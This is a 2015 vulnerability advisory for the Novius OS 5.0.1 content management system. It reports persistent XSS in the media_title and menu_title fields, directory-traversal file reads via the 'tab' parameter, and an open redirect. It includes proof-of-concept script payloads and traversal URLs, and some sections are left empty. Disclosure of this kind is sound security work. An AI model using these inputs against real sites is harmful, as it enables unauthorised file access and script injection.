novius-os.5.0.1 Persistent XSS, LFI & Open Redirect Vulnerabilities

Type securityvulns
Reporter Securityvulns
Modified 2015-07-05T00:00:00


[+] Credits: John Page ( hyp3rlinx )

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novius-os.5.0.1-elche is a PHP Based Content Management System

Advisory Information:

Persistent XSS, LFI & Open Redirect

Vulnerability Details:

Persistent XSS:

Users can inject XSS payloads that will be saved to MySQL DB, where they will execute each time when accessed.

1- In Admin under 'Media Center' users can inject XSS payloads and save to the 'media_title' field for a saved media file, create a new media page inject payload click save and then select visualize.

2- Under Website menus area users can inject XSS payloads and save for the 'menu_title' field for a Website menu.

If we view browser source code at http://localhost/novius-os.5.0.1-elche/novius-os/?_preview the XSS is output to its HTML entities.

e.g. <title>&lt;script&gt;alert('HELL')&lt;/script&gt;</title>

But within the same webpage for <h1> tag you can see it is not.

e.g. <div id="block-grid" class=" customisable col-md-12 col-sm-12 col-xs-12 main_wysiwyg"><h1 id="pagename"><script>alert('HELL')</script></h1>

Local File Inclusion:

We can directory traverse access and read files outside of the current working directory in the Admin area by abusing the 'tab' parameter. http://localhost/novius-os.5.0.1-elche/novius-os/admin/?tab=../../../../

Open Redirect:

http://localhost/novius-os.5.0.1-elche/novius-os/admin/nos/login?redirect= is open to abuse by supplying an malicious a location or file.

XSS Exploit code(s):

In 'Media Center' create a new media file, click edit and inject XSS payload for the 'title' field click save and then select visualize. http://localhost/novius-os.5.0.1-elche/novius-os/admin/?tab=admin/noviusos_media/media/insert_update/1

vulnerable parameter: media_title

In 'Website Menu' create a new website menu item and inject XSS payload click save and then select visualize. http://localhost/novius-os.5.0.1-elche/novius-os/admin/?tab=admin/noviusos_menu/menu/crud/insert_update%3Fcontext%3Dmain%253A%253Aen_GB http://localhost/novius-os.5.0.1-elche/novius-os/?_preview=1

vulnerable parameter: menu_title


http://localhost/novius-os.5.0.1-elche/novius-os/admin/?tab=../../../SENSITIVE-FILE.txt http://localhost/novius-os.5.0.1-elche/novius-os/admin/?tab=../../../../xampp/phpinfo.php

Open Redirect:


Disclosure Timeline:

Vendor Notification: NA June 29, 2015 : Public Disclosure

Severity Level:



Request Method(s): [+] GET & POST

Vulnerable Product: [+] novius-os.5.0.1-elche

Vulnerable Parameter(s): [+] media_title, menu_title, tab, redirect

Affected Area(s): [+] Login, Web Pages, Media Center & Website Menu area


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